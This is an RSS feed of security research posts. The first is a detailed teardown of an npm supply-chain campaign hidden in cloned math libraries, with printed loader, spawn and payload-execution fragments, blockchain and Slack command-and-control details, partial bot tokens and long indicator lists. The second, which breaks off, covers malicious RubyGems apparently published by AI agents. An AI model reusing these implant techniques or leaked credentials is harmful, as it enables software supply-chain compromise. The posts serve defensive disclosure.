<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>JFrog Security Research</title>
        <link>https://research.jfrog.com</link>
        <description>Homepage feed: latest vulnerabilities and security research posts from JFrog Security Research.</description>
        <lastBuildDate>Tue, 22 Sep 2026 00:38:15 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>Gridsome Home RSS</generator>
        <language>en</language>
        <atom:link href="https://research.jfrog.com/rss.xml" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Equation of Compromise: Anatomy of a Live npm Supply-Chain Campaign]]></title>
            <link>https://research.jfrog.com/post/equation-of-compromise/</link>
            <guid>https://research.jfrog.com/post/equation-of-compromise/</guid>
            <pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[JFrog Security Research uncovered a targeted npm campaign hidden in cloned math libraries. The backdoor activates only for a specific matrix, receives encrypted tasks through an Ethereum Sepolia smart contract and Slack, and uses a GitHub Actions worker farm to manufacture hundreds of thousands of downloads.]]></description>
            <content:encoded><![CDATA[


![](/img/RealTimePostImage/post/equation-of-compromise/image1.png)

Over the past week, several vendors have reported on malicious npm packages that, taken one at a time, look like separate incidents. In this article, we present our research into the campaign behind all of them, starting with analysis of the latest encrypted loader detected by [SafeDep](https://safedep.io/mathmain-encrypted-loader/). Unlike most malware, this one doesn't run for everybody who installs it, and requires a very specific cryptographic operation to be performed, allowing us to assume it's a targeted operation, maybe an interview campaign. The payload decrypts only when the victim solves a linear system with one specific matrix, takes its orders from a smart contract on the Ethereum Sepolia testnet, keeps a second command channel open over Slack, and hides behind download counts manufactured by a farm of GitHub Actions workers.

The teardown below covers recovering the trigger key, what the implant does once it runs, how the contract enrolls and tasks victims, the Slack agent, the download factory, and the entire campaign operating accounts behind it for the six months.

**It started with a math library**

mathsbase is a straight copy of the popular [mathjs](https://www.npmjs.com/package/mathjs) library: same code, same README, different name. What was off was the popularity of six million downloads two days after publication, and not a single package depending on it**.**

![](/img/RealTimePostImage/post/equation-of-compromise/image2.png)

api.npmjs.org · 4 weeks, 24 Aug – 20 Sep 2026

The 1.0.1 tarball carries four files that do not exist anywhere in upstream mathjs:

| File under lib/cjs/utils/ | Size | What it is |
| :---- | :---- | :---- |
| event.js | small | AES-256-GCM loader |
| graph.js | 31 KB | base64 blob |
| fraction.js | 12 KB | base64 blob |
| bignumber/type.js | 1.5 MB | base64 blob |

Three encrypted blobs and a loader, but no key. So we pulled it apart.

## **Breaking it open**

The loader in utils/event.js is simple: it takes a password, derives a key from it with a functionscrypt that turns a password of any length into a fixed 32-byte key,  then decrypts the payload from graph.js with AES-256-GCM, writes the plaintext to disk, and executes it with require.

Each encrypted file is laid out as salt[16] | iv[12] | tag[16] | ciphertext: a 16-byte salt, a 12-byte IV, a 16-byte authentication tag, then the encrypted payload. All four sit in the file in the clear and are required as input for the AES-256-GCP decrypt routine. 

What the file does not contain is the one input that has to be secret: the password the key is derived from. Salt, IV, and tag are the public parameters of the encryption; the password is the only thing the attacker did not ship. The only question is what feeds it.

The loader function is called from the file utils/is.js, from a function that has no counterpart in upstream mathjs:

```js
function isGraph(x) {
  const name = _event.validEvent("IapMCmvlemBnFaU+...", JSON.stringify(x));
  const mod  = require(_event.event(path.join(__dirname, name), JSON.stringify(x)));
  return x && mod.validGraph(JSON.stringify(x)) || false;
  
}
```

isGraph() is reached from lusolve(), the function that solves a system of linear equations, through two modified files. When a developer calls the exported math.lusolve(A, b), lusolve factors the matrix with math.lup(A), gets back L, U, p and q, and calls the internal _lusolve(), which solves the system and produces the answer exactly as upstream does. Only after that result exists does an injected line in lusolve.js call removeSolveValidation(L._data), a function added to solveValidation.js that does not exist upstream. Inside it, a second injected line calls isGraph() on the same array, which serializes it to a JSON string and hands that string to the loader as the password. **That array is the key.**

The placement is deliberate. The hook runs after the mathematical work is finished, and the return value of removeSolveValidation is assigned to a variable that is never read again, so the malicious call cannot change the output. The developer's answer is always correct.

```js
password  = JSON.stringify(L._data)
key       = scryptSync(password, salt, 32)
plaintext = AES-256-GCM(key, iv, tag, ciphertext)
```

No key ships with the package. The victim's own numerical workload supplies it at runtime, in a line as unremarkable as const weights = math.lusolve(A, b). Any other matrix fails GCM authentication, the loader swallows the exception, and require() chokes on base64 inside a code path where errors are already routine.  The malware is filtering for the only people it wants: developers who call lusolve as a matter of course. Judging by that trigger and by the DeFi-flavoured lure packages, the intended audience is quantitative and DeFi developers, though we never recovered a payload to confirm it.

So we had to guess the matrix. The search space is arbitrary arrays of doubles, but AES-GCM gives a free oracle: the authentication tag either verifies or it does not, with no false positives, at about 50 ms per candidate. We enumerated structured matrices (identities, small integer matrices, textbook examples) and let the tag decide. It was the **3×3 symmetric Pascal matrix**:

```js
A = [[1,1,1],[1,2,3],[1,3,6]]
math.lup(A).L._data → [[1,0,0],[1,1,0],[1,0.5,1]]
```

That string decrypts the first blob to a filename, graph.js, and from there the whole package opened up.

## **What was inside**

graph.js is the orchestrator. It turns a one-off decryption into a persistent implant in four steps.

**It uses the LICENSE file as a lock.** Before anything else, it reads the package's own LICENSE file and looks for a line that has no business being in a licence:

```js
if (license.includes("REDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE.")) {
    process.exit(1);   // already infected — stop here
// }
// fs.appendFileSync(licensePath, "\nREDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE.");
```

It is an infection marker hidden in the one file nobody reads. Deleting the line is also how the malware later uninstalls itself.

**Then it detaches.** It respawns itself as a background process (detached: true, stdio: "ignore", unref()), so the developer's script finishes and the implant keeps running.

**After that it phones home.** It collects platform, hostname, CPU count, memory and uptime, formats them as a Markdown block titled *🖥️ System Report*, and posts it to a Slack channel and a Telegram chat. Both credentials sit in the file as plain base64. This is the only outbound traffic graph.js ever sends, and nothing ever comes back on either channel.

**And finally, it gets an identity on the Ethereum blockchain.** The operator wants to send instructions to one infected machine that nobody else can read, and wants no server that can be seized. For that, they're using a smart contract on the Sepolia testnet. Reading a contract is free and anonymous; writing to one needs a funded wallet. So the implant generates an X25519 keypair, then fetches a wallet the operator set aside for it. The wallet's private key sits encrypted in the contract, and unwrapping it takes two secrets joined with a *: the trigger password, and the version string of the assert devDependency in the victim's own package.json.

```js
const walletPassword = triggerPassword + "*" + getNPwd();   // getNPwd() = pkg.devDependencies?.assert
// const address    = await contractRead.getLastActiveCwAddress();
// const encrypted  = await contractRead.getCwPrivatePublic(address);
// const privateKey = await decryptAESGCM(encrypted, walletPassword);
```

bootstrapWallet then checks that the decrypted value looks like a private key and that the address it derives matches the one the contract named. Neither secret works alone, so the wallet only opens on a machine that installed the package and ran the trigger. A researcher holding the tarball cannot obtain a working identity.

With a wallet in hand, the implant writes its public key into the contract as a check-in. The operator reads it, derives a shared secret, and from then on every task is encrypted for that one machine.

The other two blobs are supporting cast. **bignumber/type.js**, the 1.5 MB one, is a bundled copy of **ethers.js v5.7.2**, shipped so the implant has a Web3 client without touching node_modules. **fraction.js** is the Slack agent, covered below. 

## **Command and control on a testnet**

The implant's primary command channel is not a server. It is a smart contract on the **Sepolia test network**, used as a dead drop. A C2 server has an IP address, a hosting provider, and an abuse desk; a contract has none of those, cannot be taken down once deployed, and on a testnet costs nothing to use. The implant reads it through ordinary public RPC endpoints, so the traffic looks like a developer's own Web3 work.

### **Enrollment**

The contract runs a small membership system. The operator adds the victim's wallet address to an allowlist and stores an encrypted private key for it on-chain; the implant unwraps that key as described above and only then announces itself by writing its public key into the contract. The compiler left the failure messages in the bytecode:

```js
"Not whitelisted"
"No active whitelisted address"
"Caller is not the owner"
```

That discipline has an accidental consequence: **the operators kept a public register of their own victims.** 

The campaign ran on fourteen smart contracts, deployed by five operator wallets between 2026-03-05 and 2026-09-16: thirteen on Ethereum Sepolia and one on Base Sepolia. Eight contracts were actively used and had enrolled victims, the other six took no more than two hosts each and served as rehearsals. All fourteen are verified on-chain under one of three names, `WalletDataRegistry`, `WebDataRegistry` and `WalletHelloWorld`, and searching the explorer for those names returns every deployment regardless of who made it. The verified source reads as a single codebase developed over six months with one compiler, solc 0.8.20. Every deployment was edited and recompiled, leaving thirteen distinct source variants across fourteen contracts. The contracts were not replaced one at a time: in June, three of them ran in parallel under three different wallets, and packages published months apart point at the same deployment.

![](/img/RealTimePostImage/post/equation-of-compromise/image3.png)

eth-sepolia.blockscout.com · all 1,060 successful transactions to the contract, 18 Jun – 14 Sep 2026

### **Tasking**

The operator writes a payload into two storage slots on the contract (split purely for size); writing the second slot emits an event; the implant has been subscribed to that event since it started. It reads both halves, decrypts them with its own private key and joins them, then writes the result to t utils/subwatcher, marks it executable, and runs it. 

![](/img/RealTimePostImage/post/equation-of-compromise/image4.png)

payload downloading

The fourteen contracts carried 1,080 taskings, preserved as 2,162 encrypted payloads. Each is sealed under a key shared by the operator and a single implant, and none can be decrypted.

Payloads were built once and sent to many hosts. The first production contract delivered a single 14.5 KB payload 64 times in five days. A payload of about 19.6 KB appears on three contracts between March and August, roughly 250 times in all — consistent with one second stage kept in service for five months.

On deployment day of the June contract, 21 test payloads growing from 2.7 KB to 18 KB, alongside 23 out-of-gas failures, mark the operator probing the transaction size limit. Full 20–28 KB second stages followed until August. From 31 August the contract carried only a uniform 919-byte payload.

**We cannot read any of them.** The payloads are encrypted with asymmetric cryptography, under a key that only two parties can derive. The operator derives it from their own private key and the implant's public key, read from the contract. The implant derives the same key from the operator's public key and its own private key, which is generated at infection time and lives only in the memory of the victim process, never on disk or on the chain. Every blob also uses a unique salt and IV, so there is no nonce reuse to attack. We recovered the entire delivery mechanism and none of the cargo. What the implant was ultimately told to do is the one question this investigation cannot answer.

One curiosity: the contract also contains a complete on-chain file-storage system (chunked upload, metadata, file count). In five months, **not one of those functions was ever called.**

## **A second channel over Slack**

The third blob, fraction.js, is a Slack agent. graph.js decrypts it and launches it as its own detached process on every infection, several steps before the wallet that the contract path requires:

```js
spawn(process.execPath, [slackAgent, slackSecret, String(process.pid), password], {
    cwd: __dirname, detached: true, stdio: "ignore", windowsHide: true
  
});
```

It is a separate channel with separate keys. The reporting bot in graph.js only writes; this one only reads, from a different channel, with a different bot. Its credentials are not in the file in readable form: the bot token and channel ID are AES-GCM encrypted under the trigger password, and the messages themselves are encrypted under a Diffie-Hellman secret computed against a server public key hardcoded in the malware. That is not the secret used for blockchain tasking, which is computed against a key fetched from the contract, so the two channels fail independently: cracking one gives you nothing on the other.

```js
reporting  (graph.js, plain base64, write-only)
  bot      xoxb-11307403103236-{truncated}
  channel  C0B8XPGCKQS

tasking    (fraction.js, AES-GCM encrypted, read-only)
  bot      xoxb-11301867762550-{truncated}
  channel  C0B8GEPFMK9
  operator U0B91JWCVT6
```

The agent polls conversations. history every ten seconds. On startup, it records the timestamp of the latest message and only looks at messages posted after it arrived, so a new victim never replays the operator's back catalogue. It only acts on messages from one hardcoded user ID, so holding the token is not the same as being able to task implants.  
**The payload arrives as text.** Nothing is downloaded: the agent reads the text and ts fields of a message and nothing else, and slack.com is the only hostname in the module. Each message body decrypts to a JSON packet in a small transfer protocol:

| Packet | Fields | Effect |
| :---- | :---- | :---- |
| {t:"s"} | id, name, total | begin a transfer |
| {t:"c"} | id, n, d | deliver chunk n |
| {t:"e"} | id | reassemble and run |

```js
fs.writeFileSync(savePath, assembled, "utf8");   // ...utils/subwatcher
// fs.chmodSync(savePath, "755");
// runProcess(savePath);
```

Slack caps message length, so an executable is split across many messages and rebuilt on the victim. There is no practical ceiling on size. A body containing exitexitexit is treated as an order instead: the agent deletes the infection marker, kills its parent, and exits.

## **The one we could not open**

matrixflow-js@3.2.1 is an ml-matrix reskin with the same loader chain, hooked at the top of the exported solve(). It differs in one way that matters: where mathsbase keys on a value derived from the input (the LU factor), matrixflow-js keys on the caller's raw matrix, compared by SHA-256 against a constant. A key equal to the caller's own input will essentially never match by accident, so this trigger is not waiting for ordinary work: **the input has to be supplied by the operator**, as a demo script or a task handed to a contractor. We could not find it, and its payload is still sealed. Version 3.2.2, published a week later, quietly removed the loader.

## **Following the accounts**

The operators are disciplined about identity: one npm account per package, emails alternating between @proton.me and @outlook.com, accounts abandoned the moment a package is removed. Across every GitHub identity in the cluster, there are **zero followers and zero following**, and not one campaign repository has a stargazer. We mapped the cluster anyway, through the seams where that discipline failed.

**A handle reused across providers.** The npm account weed0 publishes from tinystar368@gmail.com; tinystar8, which published the backdoored mathsbase, uses tinystar368@proton.me. That single collision joined the DeFi persona packages to the malware cluster, and commit metadata confirmed it: the GitHub identity UmajiHidekata, which hosts the inflation tool and commits to its target list, signs as tinystar368@gmail.com. The tool itself was written by a fourth identity, andrewstory18, whose commit opens the repository's history.

**Repositories, where they exist at all.** Only two of the five malicious packages have a public GitHub repository behind them — tinystar8/mathsbase and mathubio/math-universe. allendev12 was deleted along with its account, and linnianping and robert92 never published one. Where a repository does exist it is a clone of the real project with its upstream history left intact: tinystar8/mathsbase carries all 5,694 mathjs commits, 3,674 of them still signed by mathjs's own author, with 136 mechanical rename commits by Blustdp layered on top. The effect is a repository that looks like a long-maintained library at a glance, and the rename commits are the only trace of the operators in it.

That is also the limit of what the repositories tell us. **None of the malicious code was ever committed to GitHub.** We searched the full history of every repository in the cluster for the loader's primitives — scryptSync, aes-256-gcm, the beacon IP — and found nothing. The payload is injected at publish time and exists only in the npm tarball, which is why the repositories look clean to anyone who checks them instead of the package.

## **The download factories**

Millions of downloads in two days after release is not organic. Studying the repositories behind the accounts above uncovered the mechanism: a download farm in three public GitHub accounts, repositories worker1 through worker10, running on GitHub's own infrastructure.

| Operator | Repositories | First commit | Commits |
| :---- | :---- | :---- | :---- |
| andrewstory18 | worker1–10 | 2026-07-13 | ~4,800 |
| davidbabcock96 | job_worker1–10 | **2026-06-25** | 5,317 |
| azlanrahman322-creator | job-worker1–10 | 2026-07-01 | 5,225 |

All of repositories ship an identical WASM decoder (md5 91e020c13cb97a6365135b53b0d0fe5f), every commit carries the message "Update commands from job_master"**,** and the two newer farms receive byte-identical commands.json pushes down to the individual download counts. That is one orchestrator fanning a single configuration out to multiple operators. job_master itself is not public, but its output is.

![](/img/RealTimePostImage/post/equation-of-compromise/image5.png)

	downloads farm activity

Each repository holds the same four files:

```js
commands.json                       ← AES-encrypted package names + counts
index.js                            ← minified driver
pkg/worker_wasm_bg.wasm             ← Rust decoder, 122 KB
.github/workflows/run-worker.yml    ← runs index.js on every push
```

The driver decrypts a package name, resolves its tarball URL and downloads it count times at one-second intervals — then throws the bytes away. It only needs the request to complete so npm's telemetry records a download.

The target list is encrypted so the repository never names its own victims:


```json
[
  { "name": "JcrvKzoIHPVLKIOa4bS7SYwlHtYmQU2rFZhsCjVhU+Lxhc1DL4h+ZT9KXJuoIVHmIBwG", "count": 6882 },
  { "name": "uIznVb+PhIo5qQ6z1dP587rkA9iHoJNZ07FlIruyN+FcqHTZi52L9BppZaPpTt/pWw4=", "count": 2261 }
]
```

The encryption is not much of an obstacle: the AES-256-GCM key is compiled into the WASM in plain ASCII as npm_workvr_protect_key_v1. They encrypted the target list so the public repository would not name its own victims, then shipped the key in the same repository.  
build_metadata_url is a pure string-to-string function. That recovered unique target packages and the full scheduling history. 

| Package | Scheduled downloads |
| :---- | :---- |
| events-sync | 40,715,826 |
| events-channel | 38,217,963 |
| indexed-btree | 37,969,615 |
| quick-events | 37,896,325 |
| btree-core | 37,657,103 |
| amm-strategy-backtester | 19,060,693 |
| @oliviamcdaniel12/safer-buffer | 17,957,387 |
| matrixflow-js | 14,767,050 |
| matrixhub | 11,697,230 |
| matrix-ops-core | 10,890,210 |

## **What we could not answer**

* **What the implant was told to do.** Fifteen tasks payloads, all sealed under an ephemeral X25519 secret. The targeting of quantitative and DeFi developers is inferred from the lures and the lusolve trigger, not from a recovered payload.  
* **matrixflow-js@3.2.1.** It keys on the caller's raw matrix, so there is no reduced search space; the value is almost certainly supplied by the operator alongside the lure.  
* **The pre-July inflation mechanism.** At least one package with 2.56M downloads was inflated by something that is not the worker farm.

## **For defenders**

* If you consume any mathjs-shaped package, check for two files that **do not exist in upstream mathjs**: lib/cjs/utils/event.js and lib/cjs/utils/graph.js. Their presence is conclusive and, unlike a hash, survives repacking.  
* A subwatcher file at mode 755 under lib/cjs/utils/ means the payload has already executed. A package LICENSE ending in REDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE. means the host is actively infected.  
* On the registry side, the durable signal is **over a million downloads with zero dependent packages and zero dependent repositories**. It held for every vehicle here. Note that npm's dependencies:<pkg> search qualifier is not supported and silently degrades to fuzzy matching; use ecosyste.ms or libraries.io for reverse-dependency data.  
* Behaviourally: any package exposing the mathjs API whose lusolve/lup path reaches crypto, path, child_process or https; a fixed ten-second poll to slack.com/api/conversations.history with no jitter; and outbound JSON-RPC to Sepolia from a developer workstation or build agent.  
* Rotate anything a compromised workstation could reach, and treat the clean-but-inflated packages listed below as pending rather than safe: the operators publish clean and weaponise roughly a day later.

## **Summary**

What we are watching is a sophisticated operation that has been running for months and is still evolving. Its lures are aimed at developers doing quantitative and DeFi work, and every layer of it changes on its own schedule: the trigger design differs from package to package, the command channel has two independent paths, and the packages, publisher accounts and GitHub organisations behind them are disposable, created in minutes and abandoned the moment a package is removed. A download farm gives each new package the look of an established library before it is weaponised, and it is still running as we write. JFrog customers using Xray and Curation can detect and block these malicious packages, and JFrog Catalog users can view the updated campaign package list with the "Equation of Compromise" label.

Our investigation is continuing. There are payloads we have not decrypted, and an orchestrator we have not found, and the operators are still publishing. We will update this article as we learn more.

## **Indicators of compromise**

### **Malicious packages, live at time of writing**

| package | version | date |  |
| :---- | :---- | ----- | ----- |
| modern-events | 1.3.3, 1.3.4, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0, 1.5.1, 1.5.2 | 2026-03-03 | XRAY-968383  |
| quick-events | 2.1.3 | 2026-04-23 | XRAY-990105 |
| @ignacionunez91/keccak24 | 1.0.7 | 2026-05-05 | XRAY-1005328   |
| crypto-hasher | 3.1.2, 3.1.3 | 2026-05-06 | XRAY-1027597 |
| events-router | 2.1.4 | 2026-05-22 | XRAY-990103   |
| events-runtime | 3.1.3, 3.2.0, 3.2.1, 3.2.3, 3.2.4, 3.3.0 | 2026-06-08 | XRAY-1002132   |
| sort-btree | 2.1.6, 2.2.0 | 2026-06-14 | XRAY-1007137   |
| ordered-btree | 3.2.2 | 2026-06-18 | XRAY-1007133   |
| indexed-btree | 2.1.2 | 2026-06-18 | XRAY-1089213   |
| @andrewstory18/is-real-odd | 2.0.3 | 2026-06-30 | XRAY-1036540   |
| @oliviamcdaniel12/safer-buffer | 2.2.0, 2.2.1 | 2026-07-10 | XRAY-1026861   |
| mutex-forge | 2.0.0, 2.0.1, 2.0.2 | 2026-08-11 | XRAY-1051670   |
| mutex-thread | 1.3.0 | 2026-08-14 | XRAY-1057196   |
| mutex-core | 2.1.2 | 2026-08-17 | XRAY-1057451   |
| matrixflow-js | 3.2.1 | 2026-08-18 | XRAY-1057446   |
| mutex-plus | 3.0.2 | 2026-08-18 | XRAY-1057459   |
| mutex-lite | 1.4.2 | 2026-08-18 | XRAY-1057455   |
| matrixkit-js | 1.0.0 | 2026-08-24 | XRAY-1074505   |
| mathsbase | 1.0.1 | 2026-08-27 | XRAY-1088056   |
| math-universe | 1.0.0, 1.0.1, 1.0.2 | 2026-09-16 | XRAY-1088055   |
| mathmain | 1.0.0 | 2026-09-17 | XRAY-1088058   |
| graphcore-js | 2.3.2, 2.3.4, 2.4.1, 2.4.2 | 2026-03-17 | XRAY-962933 |
| graphlib-js | 1.2.0, 1.2.1, 1.2.2, 1.3.2, 1.3.3, 1.3.4 | 2026-03-17 | XRAY-952425  |
| events-channel | 2.3.1, 2.3.2, 2.4.1 | 2026-05-21 | TBA |

### **PuP packages, inflated**

| secure-library-loader | 0.1.0 – 0.1.3 | 2026-08-25 |
| :---- | :---- | :---- |
| matrixhub | 6.15.0, 6.15.1 | 2026-08-25 |
| matrix-ops-core | 1.0.0-1.0.4 | 2026-08-31 |

### **C2 contracts**

Ethereum Sepolia  
  0x906f019AC38bB572a8f7d8b2cA662D624EDebaff   2026-03-05  WalletDataRegistry  
  0x2707BbD5CF9b2F7cE37e4913BADC0349272d48cf   2026-03-06  WalletDataRegistry  
  0x2a8536AdA44816Cb049778d24b75d795987D90b1   2026-03-06  WalletDataRegistry  
  0x4C0c9B92BB9647fAf45022BA55f02bB0950196de   2026-03-06  WalletDataRegistry  
  0xDe34270921D37124fd0b64ea3aE4c5062B467418   2026-03-10  WalletDataRegistry  
  0x315d47b401aC29e97893dec1c85aBBB2791ef2aA   2026-03-10  WalletDataRegistry  
  0x475B8659A33FB0C2bDB4c60ffdb92bC24d5c4015   2026-03-18  WalletDataRegistry  
  0xd5A4620278788AcCf388B7Ea5f35f849465728E7   2026-03-18  WalletDataRegistry  
  0x4b225b742eb31AD0DfD6bc00F8C55650b4394c18   2026-03-18  WalletDataRegistry  
  0x661e50E19f05E3c0d04fD75891456D1F0A24508D   2026-04-16  WalletDataRegistry  
  0xc0445F1b679DC46280A0f03F451bdf613b5A0feA   2026-06-08  WebDataRegistry  
  0x9E4dF8F253Eb439dd9538Fda30cC03B38fD3a631   2026-06-15  WebDataRegistry  
  0xE390863Dac96a7118C71227C2b099B50cF602D31   2026-06-18  WalletHelloWorld  
Base Sepolia  
  0xac0bfC4C48A679b667732128278EACBA1c191894   2026-08-28  WalletHelloWorld

source-level identifiers    PROTOCOL = "HUBMSBAT"   PROTOCOL = "HEIGUNSE"

### **Network** 

**Slack:**  
workspace A   tasking C0ATC9UKKA4   reporting C0B554AQF1S   operator U0B51HGMGJW / B0B5VRXPHKJ  
              xoxb-10914929427361-1091493…  
              xoxb-10751214461892-1089634…

workspace B   tasking C0B8GEPFMK9   reporting C0B8XPGCKQS   operator U0B91JWCVT6 / B0B8Y0V8NUA  
              xoxb-11301867762550-11301869433…   
              xoxb-11307403103236-112897671279….  
              xoxb-11307403103236-11289767127…   (rotated)

**Telegram:**  
8717417715:AAGZ-24bqk9QAUh  chat -1003968723972  
8961878831:AAG4WTbRUcbXI5U   chat -1003952553968, -1004489630130  
8836581068:AAF1e0v1nbMEShE   operator monitoring tool, alerts to @server_alert_0630

### **RPC provider projects**

pair A   eth-sepolia.g.alchemy.com/v2/0E6xblLeXLnZSnn280R-O  
         sepolia.infura.io/v3/d3d6e819028346a0b973bd5dd371c468  
pair B   eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI  
         sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938  
pair C   eth-sepolia.g.alchemy.com/v2/NObVGNvMv3xNnlHDx3QYc

### **Files**

lib/cjs/utils/event.js              loader  
lib/cjs/utils/graph.js              stage 2, base64  
lib/cjs/utils/fraction.js           stage 3, base64  
lib/cjs/utils/bignumber/type.js     bundled ethers, ~1.5 MB  
lib/cjs/utils/subwatcher            dropped payload, mode 755  
LICENSE ending "REDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE."  
Trigger blob: IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==

### **Inflation infrastructure**

github.com/andrewstory18/worker1              … worker10  
github.com/davidbabcock96/job_worker1         … job_worker10  
github.com/azlanrahman322-creator/job-worker1 … job-worker10  
github.com/UmajiHidekata/jobworker

WASM md5  91e020c13cb97a6365135b53b0d0fe5f   identical across all 30  
WASM key  npm_workvr_protect_key_v1          AES-256-GCM, hardcoded

### **Accounts**

| npm account | Email | GitHub |
| :---- | :---- | :---- |
| tinystar8 | tinystar368@proton.me | tinystar8 |
| elenahorn97 | elenahorn97@proton.me | mathubio |
| allendev12 | allennightgale0812@outlook.com | allendev12 *(deleted)* |
| linnianping | lin.n.ping@proton.me | MATRIXFLOW-JS |
| robert92 | robertjohnson8601@… | — |
| hunterhicks18 | hunterhicks18@proton.me | MatrixHub-Org |
| jamesmorse82 | jamesmorse82@proton.me | Ops-Core |
| monawillis412 | mona.willis@outlook.com | GRAPHCORE-JS |
| andrewstory18 | andrew.story18@outlook.com | andrewstory18 |
| davidbabcock96 | david.babcock96@outlook.com | davidbabcock96 |
| — | azlanrahman322@gmail.com | azlanrahman322-creator |
| — | mattpalmer0602@gmail.com | MattPalmer0602 |
| weed0 | tinystar368@gmail.com | UmajiHidekata |
| justin454 | justin.campos454@outlook.com | Blustdp |
| gerrysmith2026 | gerry.smith2026@outlook.com | gerrysmith2026 |
| wesleymoses97 | wesley.moses97@outlook.com | EVENTSKIT |
| josephjordan93 | joseph.jordan93@outlook.com | josephjorden93 |
| lesstafford24 | lesstafford24@outlook.com | EVENTS-ROUTER |
| angelinaparrish18 | angelinaparrish18@outlook.com | EVENTS-RUNTIME |
| — | bradley.steven93@outlook.com | — |
| — | ignacionunez91@outlook.com | — |
| moniquemeza22 | moniquemeza22@outlook.com | GRAPHKITORG |
| ignacionunez91 | ignacionunez91@outlook.com | SORT-BTREE, KECCAK24 |

**GitHub organisations:** QUICK-EVENTS · EVENTSKIT · POWEREVENTS · EVENTS-ROUTER · EVENTS-RUNTIME · EVENTS-CHANNEL · EVENTS-SYNC · EVENTS-SYNCE · MODERN-EVENTS · GRAPHCORE-JS · GRAPHLIB-JS · GRAPHKITORG · CRYPTO-HASHER · KECCAK24 · INDEXED-BTREE · BTREE-CORE · SORT-BTREE · ORDERED-BTREE · MUTEX-CORE · MUTEXTHREAD · MATRIXFLOW-JS · MatrixHub-Org · Ops-Core · ]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[New packages identified in GemStuffer 'OpenAI Swarm' malicious RubyGems campaign]]></title>
            <link>https://research.jfrog.com/post/gemstuffer-openai-rubygems/</link>
            <guid>https://research.jfrog.com/post/gemstuffer-openai-rubygems/</guid>
            <pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[The JFrog Security Research team investigated the GemStuffer campaign done by rogue OpenAI agents - we found more than 3000 RubyGems packages associated with the coordinated attacks.]]></description>
            <content:encoded><![CDATA[
JFrog Security Research is actively monitoring the recent GemStuffer incident, and using our extensive Catalog of RubyGems artifacts, managed to identify **3,022 campaign-associated RubyGems packages, covering 3,315 distinct name/version pairs**. The identified malicious packages used RubyDoc’s documentation workers, the feature that generates reference pages for Ruby packages, to fetch websites and send the results back through RubyGems. Some also attempt to obtain other users' registry API keys. A separate group of malicious packages places JavaScript and template expressions in package metadata. If your service builds documentation or processes uploaded gems, check whether package-controlled files can execute code or inject content into privileged pages. In this blog, we present newly-analyzed malicious payloads related to the attack, our insights, and the full list of packages we found to be associated with the GemStuffer campaign.

<div align="center">

![][image1]

</div>

The [RubyHack investigation, published on September 11](https://www.rubyhack.ai/), linked the May and June activity from the GemStuffer campaign to OpenAI agents, using package contents and overlap with the German wiki incident, in which OpenAI confirmed its agents edited a public wiki. Our work expands the package inventory and examines how representative payloads work.

## Malicious packages created by AI Agents \- which attributes can we observe?&nbsp;

Not all of the packages in the GemStuffer campaign contained malicious Ruby code, e.g. within `evil.rb`, as seen before, but rather in metadata, which made them less convenient to find.

We started by checking the already known package names used in this attack we found reported. Our first dataset had 557 releases, including several versions per Gem.

The first investigation began by looking at the bigger picture \- we looked at releases that were published before and after the known attack windows, and examined them. In a sea of tens of thousands of packages, several ones were immediately obvious:

- Many of the package names had `oai` (OpenAI) in their names.  
- GPT models are known for overusing the term `probe`, similar to Claude's signature "You're absolutely right\!" or "honest caveat" phrases. We found a large amount of packages with "probe" in their names from the dates of the attacks, all attributed to this campaign.  
- More terms that were present in package names were `ssrf`, `fetch`, `proxy`, `scrape`, `yard`, and `payload`. We were unable to attribute *all* of them to the campaign, but the vast majority were.  
- Package names often included suffixes, such as a unix timestamp for their creation date. For example, the suffix of `oaifetchmde1778385544` decodes to May 10 at 03:59:04 UTC. Its first recorded upload was at 03:59:20 UTC, 16 seconds later.  
- The package names also referenced Lambeth, Wandsworth, and Southwark, whose public meeting calendars and documents the payloads attempted to retrieve. The agent swarm may have used these sites to test the fetching and data-return mechanism as a proof of concept, although the original task prompts are unavailable.  
- Other packages used disposable names e.g. `zztest4098`, `zmeta7631`, sequential suffixes (`southwarkssrfhack`, `southwarkssrfhack2`, ..., `southwarkssrfhack5`), or long generated strings.  
- Metadata included more hints. We checked 1,388 distinct author names. Common values included `x`, `a`, `d`, `tmp`, `oai`, `research`, and `SR`. In July, the agents also used the `Testing <Animal>` format (`Testing Buffalo`, `Testing Wolf`, `Test Rhino`, etc). We also found `John Doe` as an author name for several packages.  
- Dash padded package names such as `a--00cfmapjson726`.

### Attack windows

We observed the following upload windows for the packages affiliated with the campaign:

| Date | First to last upload, UTC | Packages | Releases |
| :---- | :---- | ----: | ----: |
| 2026-05-05 | 12:01:29 to 18:44:14 | 5 | 7 |
| 2026-05-08 | 15:59:43 to 22:18:01 | 48 | 60 |
| 2026-05-09 | 12:08:43 to 13:02:33 | 7 | 14 |
| 2026-05-10 | 03:59:20 to 16:44:35 | 6 | 8 |
| 2026-05-11 | 04:00:37 to 20:34:24 | 295 | 319 |
| 2026-05-12 | 01:20:14 to 08:01:00 | 2,359 | 2,476 |
| 2026-05-26 | 19:05:29 to 21:51:51 | 2 | 12 |
| 2026-05-27 | 03:51:53 to 03:53:01 | 2 | 2 |
| 2026-06-18 | 17:53:31 to 20:52:56 | 83 | 84 |
| 2026-07-07 | 03:03:09 to 18:13:42 | 215 | 333 |

## Analysis of the Ruby payloads

### `slnleaker5`: RubyGems token stealer

